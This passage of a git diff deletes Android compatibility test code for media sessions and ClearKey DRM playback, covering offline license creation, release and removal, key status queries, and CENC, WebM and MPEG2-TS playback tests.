-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onPrepare() {
-            synchronized (mWaitLock) {
-                mOnPrepareCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onPrepareFromMediaId(String mediaId, Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnPrepareFromMediaIdCalled = true;
-                mMediaId = mediaId;
-                mExtras = extras;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onPrepareFromSearch(String query, Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnPrepareFromSearchCalled = true;
-                mQuery = query;
-                mExtras = extras;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onPrepareFromUri(Uri uri, Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnPrepareFromUriCalled = true;
-                mUri = uri;
-                mExtras = extras;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
-            synchronized (mWaitLock) {
-                mOnMediaButtonEventCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mKeyEvent = mediaButtonIntent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
-                mWaitLock.notify();
-            }
-            return super.onMediaButtonEvent(mediaButtonIntent);
-        }
-
-        @Override
-        public void onSetPlaybackSpeed(float speed) {
-            synchronized (mWaitLock) {
-                mOnSetPlaybackSpeedCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mSpeed = speed;
-                mWaitLock.notify();
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
deleted file mode 100644
index b44ebb3..0000000
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ /dev/null
@@ -1,1684 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaDrm;
-import android.media.MediaDrm.KeyStatus;
-import android.media.MediaDrm.MediaDrmStateException;
-import android.media.MediaDrmException;
-import android.media.MediaFormat;
-import android.media.NotProvisionedException;
-import android.media.ResourceBusyException;
-import android.media.UnsupportedSchemeException;
-import android.media.cts.TestUtils.Monitor;
-import android.net.Uri;
-import android.os.Build;
-import android.os.Looper;
-import android.platform.test.annotations.Presubmit;
-import android.util.Base64;
-import android.util.Log;
-
-import android.view.Surface;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.nio.charset.Charset;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Set;
-import java.util.UUID;
-import java.util.Vector;
-
-import androidx.annotation.NonNull;
-import androidx.test.filters.SdkSuppress;
-
-
-/**
- * Tests of MediaPlayer streaming capabilities.
- */
-public class MediaDrmClearkeyTest extends MediaCodecPlayerTestBase<MediaStubActivity> {
-
-    private static final String TAG = MediaDrmClearkeyTest.class.getSimpleName();
-
-    // Add additional keys here if the content has more keys.
-    private static final byte[] CLEAR_KEY_CENC = {
-            (byte)0x3f, (byte)0x0a, (byte)0x33, (byte)0xf3, (byte)0x40, (byte)0x98, (byte)0xb9, (byte)0xe2,
-            (byte)0x2b, (byte)0xc0, (byte)0x78, (byte)0xe0, (byte)0xa1, (byte)0xb5, (byte)0xe8, (byte)0x54 };
-
-    private static final byte[] CLEAR_KEY_WEBM = "_CLEAR_KEY_WEBM_".getBytes();
-
-    private static final int NUMBER_OF_SECURE_STOPS = 10;
-    private static final int VIDEO_WIDTH_CENC = 1280;
-    private static final int VIDEO_HEIGHT_CENC = 720;
-    private static final int VIDEO_WIDTH_WEBM = 352;
-    private static final int VIDEO_HEIGHT_WEBM = 288;
-    private static final int VIDEO_WIDTH_MPEG2TS = 320;
-    private static final int VIDEO_HEIGHT_MPEG2TS = 240;
-    private static final String MIME_VIDEO_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final String MIME_VIDEO_VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
-
-    // Property Keys
-    private static final String ALGORITHMS_PROPERTY_KEY = MediaDrm.PROPERTY_ALGORITHMS;
-    private static final String DESCRIPTION_PROPERTY_KEY = MediaDrm.PROPERTY_DESCRIPTION;
-    private static final String DEVICEID_PROPERTY_KEY = "deviceId";
-    private static final String INVALID_PROPERTY_KEY = "invalid property key";
-    private static final String LISTENER_TEST_SUPPORT_PROPERTY_KEY = "listenerTestSupport";
-    private static final String VENDOR_PROPERTY_KEY = MediaDrm.PROPERTY_VENDOR;
-    private static final String VERSION_PROPERTY_KEY = MediaDrm.PROPERTY_VERSION;
-
-    // Error message
-    private static final String ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED = "Crypto scheme is not supported";
-
-    private static final String CENC_AUDIO_PATH = "/clear/h264/llama/llama_aac_audio.mp4";
-    private static final String CENC_VIDEO_PATH = "/clearkey/llama_h264_main_720p_8000.mp4";
-    private static final Uri WEBM_URL = Uri.parse(
-            "android.resource://android.media.cts/" + R.raw.video_320x240_webm_vp8_800kbps_30fps_vorbis_stereo_128kbps_44100hz_crypt);
-    private static final Uri MPEG2TS_SCRAMBLED_URL = Uri.parse(
-            "android.resource://android.media.cts/" + R.raw.segment000001_scrambled);
-    private static final Uri MPEG2TS_CLEAR_URL = Uri.parse(
-            "android.resource://android.media.cts/" + R.raw.segment000001);
-
-    private static final UUID COMMON_PSSH_SCHEME_UUID =
-            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
-    private static final UUID CLEARKEY_SCHEME_UUID =
-            new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
-
-    private byte[] mDrmInitData;
-    private byte[] mKeySetId;
-    private byte[] mSessionId;
-    private Monitor mSessionMonitor = new Monitor();
-    private Looper mLooper;
-    private MediaDrm mDrm = null;
-    private final Object mLock = new Object();
-    private boolean mEventListenerCalled;
-    private boolean mExpirationUpdateReceived;
-    private boolean mLostStateReceived;
-
-    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    public MediaDrmClearkeyTest() {
-        super(MediaStubActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (false == deviceHasMediaDrm()) {
-            tearDown();
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-    private boolean deviceHasMediaDrm() {
-        // ClearKey is introduced after KitKat.
-        if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
-            return false;
-        }
-        return true;
-    }
-
-    /**
-     * Extracts key ids from the pssh blob returned by getKeyRequest() and
-     * places it in keyIds.
-     * keyRequestBlob format (section 5.1.3.1):
-     * https://dvcs.w3.org/hg/html-media/raw-file/default/encrypted-media/encrypted-media.html#clear-key
-     *
-     * @return size of keyIds vector that contains the key ids, 0 for error
-     */
-    private static int getKeyIds(byte[] keyRequestBlob, Vector<String> keyIds) {
-        if (0 == keyRequestBlob.length || keyIds == null)
-            return 0;
-
-        String jsonLicenseRequest = new String(keyRequestBlob);
-        keyIds.clear();
-
-        try {
-            JSONObject license = new JSONObject(jsonLicenseRequest);
-            final JSONArray ids = license.getJSONArray("kids");
-            for (int i = 0; i < ids.length(); ++i) {
-                keyIds.add(ids.getString(i));
-            }
-        } catch (JSONException e) {
-            Log.e(TAG, "Invalid JSON license = " + jsonLicenseRequest);
-            return 0;
-        }
-        return keyIds.size();
-    }
-
-    /**
-     * Creates the JSON Web Key string.
-     *
-     * @return JSON Web Key string.
-     */
-    private static String createJsonWebKeySet(
-            Vector<String> keyIds, Vector<String> keys, int keyType) {
-        String jwkSet = "{\"keys\":[";
-        for (int i = 0; i < keyIds.size(); ++i) {
-            String id = new String(keyIds.get(i).getBytes(Charset.forName("UTF-8")));
-            String key = new String(keys.get(i).getBytes(Charset.forName("UTF-8")));
-
-            jwkSet += "{\"kty\":\"oct\",\"kid\":\"" + id +
-                    "\",\"k\":\"" + key + "\"}";
-        }
-        jwkSet += "], \"type\":";
-        if (keyType == MediaDrm.KEY_TYPE_OFFLINE || keyType == MediaDrm.KEY_TYPE_RELEASE) {
-            jwkSet += "\"persistent-license\" }";
-        } else {
-            jwkSet += "\"temporary\" }";
-        }
-        return jwkSet;
-    }
-
-    /**
-     * Retrieves clear key ids from getKeyRequest(), create JSON Web Key
-     * set and send it to the CDM via provideKeyResponse().
-     *
-     * @return key set ID
-     */
-    static byte[] retrieveKeys(MediaDrm drm, String initDataType,
-            byte[] sessionId, byte[] drmInitData, int keyType, byte[][] clearKeyIds) {
-        MediaDrm.KeyRequest drmRequest = null;
-        try {
-            drmRequest = drm.getKeyRequest(sessionId, drmInitData, initDataType,
-                    keyType, null);
-        } catch (Exception e) {
-            e.printStackTrace();
-            Log.i(TAG, "Failed to get key request: " + e.toString());
-        }
-        if (drmRequest == null) {
-            Log.e(TAG, "Failed getKeyRequest");
-            return null;
-        }
-
-        Vector<String> keyIds = new Vector<String>();
-        if (0 == getKeyIds(drmRequest.getData(), keyIds)) {
-            Log.e(TAG, "No key ids found in initData");
-            return null;
-        }
-
-        if (clearKeyIds.length != keyIds.size()) {
-            Log.e(TAG, "Mismatch number of key ids and keys: ids=" +
-                    keyIds.size() + ", keys=" + clearKeyIds.length);
-            return null;
-        }
-
-        // Base64 encodes clearkeys. Keys are known to the application.
-        Vector<String> keys = new Vector<String>();
-        for (int i = 0; i < clearKeyIds.length; ++i) {
-            String clearKey = Base64.encodeToString(clearKeyIds[i],
-                    Base64.NO_PADDING | Base64.NO_WRAP);
-            keys.add(clearKey);
-        }
-
-        String jwkSet = createJsonWebKeySet(keyIds, keys, keyType);
-        byte[] jsonResponse = jwkSet.getBytes(Charset.forName("UTF-8"));
-
-        try {
-            try {
-                return drm.provideKeyResponse(sessionId, jsonResponse);
-            } catch (IllegalStateException e) {
-                Log.e(TAG, "Failed to provide key response: " + e.toString());
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-            Log.e(TAG, "Failed to provide key response: " + e.toString());
-        }
-        return null;
-    }
-
-    /**
-     * Retrieves clear key ids from getKeyRequest(), create JSON Web Key
-     * set and send it to the CDM via provideKeyResponse().
-     */
-    private void getKeys(MediaDrm drm, String initDataType,
-            byte[] sessionId, byte[] drmInitData, int keyType, byte[][] clearKeyIds) {
-        mKeySetId = retrieveKeys(drm, initDataType, sessionId, drmInitData, keyType, clearKeyIds);
-    }
-
-    private @NonNull MediaDrm startDrm(final byte[][] clearKeyIds, final String initDataType,
-                                       final UUID drmSchemeUuid, int keyType) {
-        if (!MediaDrm.isCryptoSchemeSupported(drmSchemeUuid)) {
-            throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
-        }
-
-        new Thread() {
-            @Override
-            public void run() {
-                if (mDrm != null) {
-                    Log.e(TAG, "Failed to startDrm: already started");
-                    return;
-                }
-                // Set up a looper to handle events
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                try {
-                    mDrm = new MediaDrm(drmSchemeUuid);
-                } catch (MediaDrmException e) {
-                    Log.e(TAG, "Failed to create MediaDrm: " + e.getMessage());
-                    return;
-                }
-
-                synchronized(mLock) {
-                    mDrm.setOnEventListener(new MediaDrm.OnEventListener() {
-                            @Override
-                            public void onEvent(MediaDrm md, byte[] sid, int event,
-                                    int extra, byte[] data) {
-                                if (md != mDrm) {
-                                    Log.e(TAG, "onEvent callback: drm object mismatch");
-                                    return;
-                                } else if (!Arrays.equals(mSessionId, sid)) {
-                                    Log.e(TAG, "onEvent callback: sessionId mismatch: |" +
-                                            Arrays.toString(mSessionId) + "| vs |" + Arrays.toString(sid) + "|");
-                                    return;
-                                }
-
-                                mEventListenerCalled = true;
-                                if (event == MediaDrm.EVENT_PROVISION_REQUIRED) {
-                                    Log.i(TAG, "MediaDrm event: Provision required");
-                                } else if (event == MediaDrm.EVENT_KEY_REQUIRED) {
-                                    Log.i(TAG, "MediaDrm event: Key required");
-                                    getKeys(mDrm, initDataType, mSessionId, mDrmInitData,
-                                            keyType, clearKeyIds);
-                                } else if (event == MediaDrm.EVENT_KEY_EXPIRED) {
-                                    Log.i(TAG, "MediaDrm event: Key expired");
-                                    getKeys(mDrm, initDataType, mSessionId, mDrmInitData,
-                                            keyType, clearKeyIds);
-                                } else if (event == MediaDrm.EVENT_VENDOR_DEFINED) {
-                                    Log.i(TAG, "MediaDrm event: Vendor defined");
-                                } else if (event == MediaDrm.EVENT_SESSION_RECLAIMED) {
-                                    Log.i(TAG, "MediaDrm event: Session reclaimed");
-                                } else {
-                                    Log.e(TAG, "MediaDrm event not supported: " + event);
-                                }
-                            }
-                        });
-                    mDrm.setOnExpirationUpdateListener(new MediaDrm.OnExpirationUpdateListener() {
-                            @Override
-                            public void onExpirationUpdate(MediaDrm md, byte[] sid, long expirationTime) {
-                                if (md != mDrm) {
-                                    Log.e(TAG, "onExpirationUpdate callback: drm object mismatch");
-                                } else if (!Arrays.equals(mSessionId, sid)) {
-                                    Log.e(TAG, "onExpirationUpdate callback: sessionId mismatch: |" +
-                                            Arrays.toString(mSessionId) + "| vs |" + Arrays.toString(sid) + "|");
-                                } else {
-                                    mExpirationUpdateReceived = true;
-                                }
-                            }
-                        }, null);
-                    mDrm.setOnSessionLostStateListener(new MediaDrm.OnSessionLostStateListener() {
-                            @Override
-                            public void onSessionLostState(MediaDrm md, byte[] sid) {
-                                if (md != mDrm) {
-                                    Log.e(TAG, "onSessionLostState callback: drm object mismatch");
-                                } else if (!Arrays.equals(mSessionId, sid)) {
-                                    Log.e(TAG, "onSessionLostState callback: sessionId mismatch: |" +
-                                            Arrays.toString(mSessionId) + "| vs |" + Arrays.toString(sid) + "|");
-                                } else {
-                                    mLostStateReceived = true;
-                                }
-                            }
-                        }, null);
-                    mDrm.setOnKeyStatusChangeListener(new MediaDrm.OnKeyStatusChangeListener() {
-                            @Override
-                            public void onKeyStatusChange(MediaDrm md, byte[] sessionId,
-                                    List<KeyStatus> keyInformation, boolean hasNewUsableKey) {
-                                Log.d(TAG, "onKeyStatusChange");
-                                assertTrue(md == mDrm);
-                                assertTrue(Arrays.equals(sessionId, mSessionId));
-                                mSessionMonitor.signal();
-                                assertTrue(hasNewUsableKey);
-
-                                assertEquals(3, keyInformation.size());
-                                KeyStatus keyStatus = keyInformation.get(0);
-                                assertTrue(Arrays.equals(keyStatus.getKeyId(), new byte[] {0xa, 0xb, 0xc}));
-                                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_USABLE);
-                                keyStatus = keyInformation.get(1);
-                                assertTrue(Arrays.equals(keyStatus.getKeyId(), new byte[] {0xd, 0xe, 0xf}));
-                                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_EXPIRED);
-                                keyStatus = keyInformation.get(2);
-                                assertTrue(Arrays.equals(keyStatus.getKeyId(), new byte[] {0x0, 0x1, 0x2}));
-                                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_USABLE_IN_FUTURE);
-                            }
-                        }, null);
-
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        }.start();
-
-        // wait for mDrm to be created
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-        return mDrm;
-    }
-
-    private void stopDrm(MediaDrm drm) {
-        if (drm != mDrm) {
-            Log.e(TAG, "invalid drm specified in stopDrm");
-        }
-        mLooper.quit();
-        mDrm.close();
-        mDrm = null;
-    }
-
-    private @NonNull byte[] openSession(MediaDrm drm) {
-        byte[] mSessionId = null;
-        boolean mRetryOpen;
-        do {
-            try {
-                mRetryOpen = false;
-                mSessionId = drm.openSession();
-            } catch (Exception e) {
-                mRetryOpen = true;
-            }
-        } while (mRetryOpen);
-        return mSessionId;
-    }
-
-    private void closeSession(MediaDrm drm, byte[] sessionId) {
-        drm.closeSession(sessionId);
-    }
-
-    /**
-     * Tests clear key system playback.
-     */
-    private void testClearKeyPlayback(
-            UUID drmSchemeUuid,
-            String videoMime, String[] videoFeatures,
-            String initDataType, byte[][] clearKeyIds,
-            Uri audioUrl, boolean audioEncrypted,
-            Uri videoUrl, boolean videoEncrypted,
-            int videoWidth, int videoHeight, boolean scrambled, int keyType) throws Exception {
-
-        if (isWatchDevice()) {
-            return;
-        }
-
-        MediaDrm drm = null;
-        mSessionId = null;
-        final boolean hasDrm = !scrambled && drmSchemeUuid != null;
-        if (hasDrm) {
-            drm = startDrm(clearKeyIds, initDataType, drmSchemeUuid, keyType);
-            mSessionId = openSession(drm);
-        }
-
-        if (!preparePlayback(videoMime, videoFeatures, audioUrl, audioEncrypted, videoUrl,
-                videoEncrypted, videoWidth, videoHeight, scrambled, mSessionId, getSurfaces())) {
-            // Allow device to skip test to keep existing behavior.
-            // We should throw an exception for new tests.
-            return;
-        }
-
-        if (hasDrm) {
-            mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-            getKeys(mDrm, initDataType, mSessionId, mDrmInitData, keyType, clearKeyIds);
-        }
-
-        if (hasDrm && keyType == MediaDrm.KEY_TYPE_OFFLINE) {
-            closeSession(drm, mSessionId);
-            mSessionMonitor.waitForSignal();
-            mSessionId = openSession(drm);
-            if (mKeySetId.length > 0) {
-                drm.restoreKeys(mSessionId, mKeySetId);
-            } else {
-                closeSession(drm, mSessionId);
-                stopDrm(drm);
-                throw new Error("Invalid keySetId size for offline license");
-            }
-        }
-
-        // starts video playback
-        playUntilEnd();
-        if (hasDrm) {
-            closeSession(drm, mSessionId);
-            stopDrm(drm);
-        }
-    }
-
-    /**
-     * Tests KEY_TYPE_RELEASE for offline license.
-     */
-    @Presubmit
-    public void testReleaseOfflineLicense() throws Exception {
-        if (isWatchDevice()) {
-            return;
-        }
-
-        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
-        mSessionId = null;
-        String initDataType = "cenc";
-
-        MediaDrm drm = startDrm(clearKeyIds, initDataType,
-                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_OFFLINE);
-        mSessionId = openSession(drm);
-
-        Uri videoUrl = Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH);
-        if (false == playbackPreCheck(MIME_VIDEO_AVC,
-                new String[] { CodecCapabilities.FEATURE_SecurePlayback }, videoUrl,
-                VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC)) {
-            // retry with unsecure codec
-            if (false == playbackPreCheck(MIME_VIDEO_AVC,
-                    new String[0], videoUrl,
-                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC)) {
-                Log.e(TAG, "Failed playback precheck");
-                return;
-            }
-        }
-
-        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
-                getSurfaces(),
-                mSessionId, false /*scrambled */,
-                mContext);
-
-        Uri audioUrl = Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH);
-        mMediaCodecPlayer.setAudioDataSource(audioUrl, null, false);
-        mMediaCodecPlayer.setVideoDataSource(videoUrl, null, true);
-        mMediaCodecPlayer.start();
-        mMediaCodecPlayer.prepare();
-        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-
-        // Create and store the offline license
-        getKeys(mDrm, initDataType, mSessionId, mDrmInitData, MediaDrm.KEY_TYPE_OFFLINE,
-                clearKeyIds);
-
-        // Verify the offline license is valid
-        closeSession(drm, mSessionId);
-        mSessionMonitor.waitForSignal();
-        mDrm.clearOnKeyStatusChangeListener();
-        mSessionId = openSession(drm);
-        drm.restoreKeys(mSessionId, mKeySetId);
-        closeSession(drm, mSessionId);
-
-        // Release the offline license
-        getKeys(mDrm, initDataType, mKeySetId, mDrmInitData, MediaDrm.KEY_TYPE_RELEASE,
-                clearKeyIds);
-
-        // Verify restoreKeys will throw an exception if the offline license
-        // has already been released
-        mSessionId = openSession(drm);
-        try {
-            drm.restoreKeys(mSessionId, mKeySetId);
-        } catch (MediaDrmStateException e) {
-            // Expected exception caught, all is good
-            return;
-        } finally {
-            closeSession(drm, mSessionId);
-            stopDrm(drm);
-        }
-
-        // Did not receive expected exception, throw an Error
-        throw new Error("Did not receive expected exception from restoreKeys");
-    }
-
-    private boolean queryKeyStatus(@NonNull final MediaDrm drm, @NonNull final byte[] sessionId) {
-        final HashMap<String, String> keyStatus = drm.queryKeyStatus(sessionId);
-        if (keyStatus.isEmpty()) {
-            Log.e(TAG, "queryKeyStatus: empty key status");
-            return false;
-        }
-
-        final Set<String> keySet = keyStatus.keySet();
-        final int numKeys = keySet.size();
-        final String[] keys = keySet.toArray(new String[numKeys]);
-        for (int i = 0; i < numKeys; ++i) {
-            final String key = keys[i];
-            Log.i(TAG, "queryKeyStatus: key=" + key + ", value=" + keyStatus.get(key));
-        }
-
-        return true;
-    }
-
-    @Presubmit
-    public void testQueryKeyStatus() throws Exception {
-        if (isWatchDevice()) {
-            // skip this test on watch because it calls
-            // addTrack that requires codec
-            return;
-        }
-
-        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
-                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
-
-        mSessionId = openSession(drm);
-
-        // Test default key status, should not be defined
-        final HashMap<String, String> keyStatus = drm.queryKeyStatus(mSessionId);
-        if (!keyStatus.isEmpty()) {
-            closeSession(drm, mSessionId);
-            stopDrm(drm);
-            throw new Error("query default key status failed");
-        }
-
-        // Test valid key status
-        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
-                getSurfaces(),
-                mSessionId, false,
-                mContext);
-        mMediaCodecPlayer.setAudioDataSource(
-                Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), null, false);
-        mMediaCodecPlayer.setVideoDataSource(
-                Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), null, true);
-        mMediaCodecPlayer.start();
-        mMediaCodecPlayer.prepare();
-
-        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-        getKeys(drm, "cenc", mSessionId, mDrmInitData, MediaDrm.KEY_TYPE_STREAMING,
-                new byte[][] { CLEAR_KEY_CENC });
-        boolean success = true;
-        if (!queryKeyStatus(drm, mSessionId)) {
-            success = false;
-        }
-
-        mMediaCodecPlayer.reset();
-        closeSession(drm, mSessionId);
-        stopDrm(drm);
-        if (!success) {
-            throw new Error("query key status failed");
-        }
-    }
-
-    @Presubmit
-    public void testOfflineKeyManagement() throws Exception {
-        if (isWatchDevice()) {
-            // skip this test on watch because it calls
-            // addTrack that requires codec
-            return;
-        }
-
-        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
-                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_OFFLINE);
-
-        if (getClearkeyVersion(drm).matches("1.[01]")) {
-            Log.i(TAG, "Skipping testsOfflineKeyManagement: clearkey 1.2 required");
-            return;
-        }
-
-        mSessionId = openSession(drm);
-
-        // Test get offline keys
-        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
-                getSurfaces(),
-                mSessionId, false,
-                mContext);
-        mMediaCodecPlayer.setAudioDataSource(
-                Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), null, false);
-        mMediaCodecPlayer.setVideoDataSource(
-                Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), null, true);
-        mMediaCodecPlayer.start();
-        mMediaCodecPlayer.prepare();
-
-        try {
-            mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-
-            List<byte[]> keySetIds = drm.getOfflineLicenseKeySetIds();
-            int preCount = keySetIds.size();
-
-            getKeys(drm, "cenc", mSessionId, mDrmInitData, MediaDrm.KEY_TYPE_OFFLINE,
-                    new byte[][] { CLEAR_KEY_CENC });
-
-            if (drm.getOfflineLicenseState(mKeySetId) != MediaDrm.OFFLINE_LICENSE_STATE_USABLE) {
-                throw new Error("Offline license state is not usable");
-            }
-
-            keySetIds = drm.getOfflineLicenseKeySetIds();
-
-            if (keySetIds.size() != preCount + 1) {
-                throw new Error("KeySetIds size did not increment");
-            }
-
-            boolean found = false;
-            for (int i = 0; i < keySetIds.size(); i++) {
-                if (Arrays.equals(keySetIds.get(i), mKeySetId)) {
-                    found = true;
-                    break;
-                }
-            }
-            if (!found) {
-                throw new Error("New KeySetId is missing from KeySetIds");
-            }
-
-            drm.removeOfflineLicense(mKeySetId);
-
-            keySetIds = drm.getOfflineLicenseKeySetIds();
-            if (keySetIds.size() != preCount) {
-                throw new Error("KeySetIds size is incorrect");
-            }
-
-            found = false;
-            for (int i = 0; i < keySetIds.size(); i++) {
-                if (Arrays.equals(keySetIds.get(i), mKeySetId)) {
-                    found = true;
-                    break;
-                }
-            }
-
-            if (found) {
-                throw new Error("New KeySetId is still in from KeySetIds after removal");
-            }
-
-            // TODO: after RELEASE is implemented: add offline key, release it
-            // get offline key status, check state is inactive
-        } finally {
-            mMediaCodecPlayer.reset();
-            closeSession(drm, mSessionId);
-            stopDrm(drm);
-        }
-    }
-
-    // returns FEATURE_SecurePlayback if device supports secure codec,
-    // else returns an empty string for the codec feature
-    private String[] determineCodecFeatures(String mime,
-            int videoWidth, int videoHeight) {
-        String[] codecFeatures = { CodecCapabilities.FEATURE_SecurePlayback };
-        if (!isResolutionSupported(MIME_VIDEO_AVC, codecFeatures,
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC)) {
-            // for device that does not support secure codec
-            codecFeatures = new String[0];
-        }
-        return codecFeatures;
-    }
-
-    public void testClearKeyPlaybackCenc() throws Exception {
-        String[] codecFeatures = determineCodecFeatures(MIME_VIDEO_AVC,
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
-        testClearKeyPlayback(
-            COMMON_PSSH_SCHEME_UUID,
-            // using secure codec even though it is clear key DRM
-            MIME_VIDEO_AVC, codecFeatures,
-            "cenc", new byte[][] { CLEAR_KEY_CENC },
-            Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false  /* audioEncrypted */,
-            Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
-            MediaDrm.KEY_TYPE_STREAMING);
-    }
-
-    @Presubmit
-    public void testClearKeyPlaybackCenc2() throws Exception {
-        String[] codecFeatures = determineCodecFeatures(MIME_VIDEO_AVC,
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
-        testClearKeyPlayback(
-            CLEARKEY_SCHEME_UUID,
-            // using secure codec even though it is clear key DRM
-            MIME_VIDEO_AVC, codecFeatures,
-            "cenc", new byte[][] { CLEAR_KEY_CENC },
-            Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
-            Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
-            MediaDrm.KEY_TYPE_STREAMING);
-    }
-
-    @Presubmit
-    public void testClearKeyPlaybackOfflineCenc() throws Exception {
-        String[] codecFeatures = determineCodecFeatures(MIME_VIDEO_AVC,
-            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
-        testClearKeyPlayback(
-                CLEARKEY_SCHEME_UUID,
-                // using secure codec even though it is clear key DRM
-                MIME_VIDEO_AVC, codecFeatures,
-                "cenc", new byte[][] { CLEAR_KEY_CENC },
-                Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
-                Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
-                VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
-                MediaDrm.KEY_TYPE_OFFLINE);
-    }
-
-    public void testClearKeyPlaybackWebm() throws Exception {
-        testClearKeyPlayback(
-            CLEARKEY_SCHEME_UUID,
-            MIME_VIDEO_VP8, new String[0],
-            "webm", new byte[][] { CLEAR_KEY_WEBM },
-            WEBM_URL, true /* audioEncrypted */,
-            WEBM_URL, true /* videoEncrypted */,
-            VIDEO_WIDTH_WEBM, VIDEO_HEIGHT_WEBM, false /* scrambled */,
-            MediaDrm.KEY_TYPE_STREAMING);
-    }
-
-    public void testClearKeyPlaybackMpeg2ts() throws Exception {
-        testClearKeyPlayback(
-            CLEARKEY_SCHEME_UUID,
-            MIME_VIDEO_AVC, new String[0],
-            "mpeg2ts", null,
-            MPEG2TS_SCRAMBLED_URL, false /* audioEncrypted */,
-            MPEG2TS_SCRAMBLED_URL, false /* videoEncrypted */,
-            VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, true /* scrambled */,
-            MediaDrm.KEY_TYPE_STREAMING);
-    }
-
-    public void testPlaybackMpeg2ts() throws Exception {
-        testClearKeyPlayback(
-            CLEARKEY_SCHEME_UUID,
